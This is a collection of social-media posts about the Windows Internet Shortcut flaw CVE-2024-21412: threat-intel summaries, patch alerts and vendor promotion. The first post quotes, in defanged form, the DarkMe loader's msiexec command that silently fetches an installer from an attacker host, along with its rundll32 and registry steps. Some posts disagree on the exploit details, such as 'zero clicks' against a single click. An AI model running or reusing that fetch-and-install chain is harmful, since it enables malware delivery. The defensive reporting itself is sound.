CVE-2024-21412General(microsoft / windows_10_1809)

Water Hydra's DarkMe RAT drops zero-day delivery for plain .pif phishing, reaching beyond forex traders into corporate environments. The loader chain is unchanged; only the entry point got cheaper. - Water Hydra (EvilNum/DarkCasino) swapped CVE-2023-38831 and CVE-2024-21412 for a malspam link pointing to image.pif (SHA256: 394c93df...), a PE32+ binary Windows executes on double-click. The .pif extension is a DOS-era relic with no legitimate modern use, making any execution event an immediate hunt priority. The file was masqueraded as a PNG and delivered from readonline365[.]com and four other hosts, all scoring 0 malicious on VirusTotal at discovery. - The chain: PIF spawns msiexec /i hxxps://onlineview365[.]com/propi.msi /quiet, which drops components to %AppData%\ComponentsFolder\ via EXPAND.EXE, runs prnfig.wsf to write a COM registration (CLSID {CFDC57BA-1705-45AF-BA10-EFC3D592982B}) via reg.exe import, then fires rundll32.exe /sta {CLSID}, an opaque invocation with no DLL path on the command line, through three VB6 loader DLLs: Coconout.dll, Use.dll (FillText), and Finalized.dll (Calculation). - Use.dll gates on a 329-app process list containing wallets, trading terminals, game launchers, and RGB utilities but zero analysis tools. This is an inverted sandbox check: no Steam or Slack means no real user, and execution stops cleanly. #DFIR_Radar

🚨 CVE-2024-21412 : WINDOWS MOTW BYPASS MALWARE DELIVERY ALERT 🚨 @Microsoft A critical Windows security feature bypass vulnerability has been disclosed in the handling of Internet Shortcut (.URL) files, allowing attackers to bypass Mark-of-the-Web protections and deliver malware with no security warnings. Exploitation requires only a single user click and is actively used in ransomware campaigns. Risk Severity: - High (CVSS 8.1, active exploitation, public proof-of-concept available, ransomware activity observed) Impact: - Silent malware execution via trusted .URL files - Bypass of Mark-of-the-Web security warnings - Initial access for ransomware and espionage operations - Credential harvesting via stealthy redirection - SmartScreen and Defender ASR evasion - Lateral movement through shared network locations Root Cause: - CWE-693 (Protection Mechanism Failure). Windows fails to correctly propagate Mark-of-the-Web zone identifiers when parsing Internet Shortcut files. Crafted URL handlers bypass security zone inheritance, allowing execution without user consent prompts. Attackers can: - Deliver weaponized .URL files via email, SharePoint, or network shares - Trigger silent redirection or payload execution on user interaction - Execute commands via rundll32.exe or ieframe.dll without warnings - Bypass user awareness and multiple endpoint security controls - Stage follow-on ransomware or credential theft attacks Are You Affected? - Vulnerable: Windows 10, Windows 11, and Windows Server 2016–2022 (multiple builds) - Scope: Enterprise endpoints handling email attachments, collaboration platforms, and shared drives Immediate Action Required: - Update: Apply February 2024 Microsoft security updates immediately (KB5034763 / KB5034765 / KB5034768 / KB5034769 or later) - Mitigation: Block `.URL` attachments at email gateways, disable URL shortcut execution via Group Policy, and treat shortcuts as high-risk files in Outlook - Audit: Hunt for `.url`-triggered executions from explorer.exe, monitor rundll32.exe network activity, and review recent shortcut access on endpoints Trusted file types are now active phishing weapons. Patch fast and block aggressively. 🛡️ #ostorlabCVE

CVE-2024-21412: Microsoft Windows Internet Shortcut Files contains an unspecified vulnerability that allows for a security feature bypass. Status: ✅ Confirmed exploited in the wild Date added: 2024-02-13 Required action: Apply mitigations per vendor instructions or…

@gothburz @gothburz Dear Peter Girnus. Your work in regards too CVE-2024-21412, https://www.trendmicro.com/en_gb/research/24/b/cve202421412-water-hydra-targets-traders-with-windows-defender-s.html Impressive. My work in regards too Flax Typhoon - https://x.com/i/grok?conversation=2019111545377071614 Also impressive , just scaled worldwide instead. - Work with me , les talk. https://www.justice.gov/archives/opa/pr/court-authorized-operation-disrupts-worldwide-botnet-used-peoples-republic-china-state

CVEs Explainer #6 CVE-2024-21412 (Windows SmartScreen Bypass) A security feature bypass in Microsoft Defender SmartScreen. Attackers could trick users into opening malicious Internet Shortcut files, bypassing the warning dialog and executing arbitrary code. It was actively exploited by the DarkGate malware to deliver info-stealers, proving that even built-in OS protections can be defeated.

Microsoft's CVE-2024-21412 is a masterclass in evasion: bypassing SmartScreen with zero clicks. This isn't a theoretical risk; it's weaponized in the wild. Patching is your only real perimeter now.

https://lyrie.ai/research/research/active-exploit-cve-2024-21412-windows #lyrie #cybersecurity #CVE #threatintel #zerodayattack

🚨 Defender Zero-Day Alert! CVE-2024-21412 bypasses SmartScreen to execute malware. Protect your perimeter with Wiseman Infosec’s EDR tuning & threat hunting. 📧 sales@wisemaninfosec.com 🌐 http://wisemaninfosec.com #CyberSecurity #Infosec #ZeroDay #WisemanInfosec #StaySecure https://t.co/BlsxEXoH0S

https://nvd.nist.gov/vuln/detail/CVE-2024-21412 Windowsのショートカットファイルを悪用したセキュリティ脆弱性（CVE-2024-21412）に関するレポートです。悪用されるとセキュリティ機能がバイパスされる恐れがあるため、速やかなパッチ適用が必要です。

🎯 DIB Threat Briefing — March 20, 2026 1560 CVEs tracked • 25 threat actors • 14 sectors **Top DIB Targets:** • APT28 (Russia) — Defense Industrial Base + Aerospace (CVE-2024-23897, CVE-2024-1709) • APT29 (Russia) — Energy + Govt overlap (CVE-2024-3400, CVE-2024-21762) • APT40 (China) — Maritime + Tech (CVE-2024-21412, CVE-2024-21762) • Qilin — DIB + Healthcare (CVE-2024-21762, CVE-2024-3400, CVE-2024-1709) 10+ APT groups actively targeting DIB sectors. Pipeline running: dark web scan → CVE mapping → sector targeting → alerting. Data source: Roland Fleet CTI (MISP + custom graph + dark web observatory)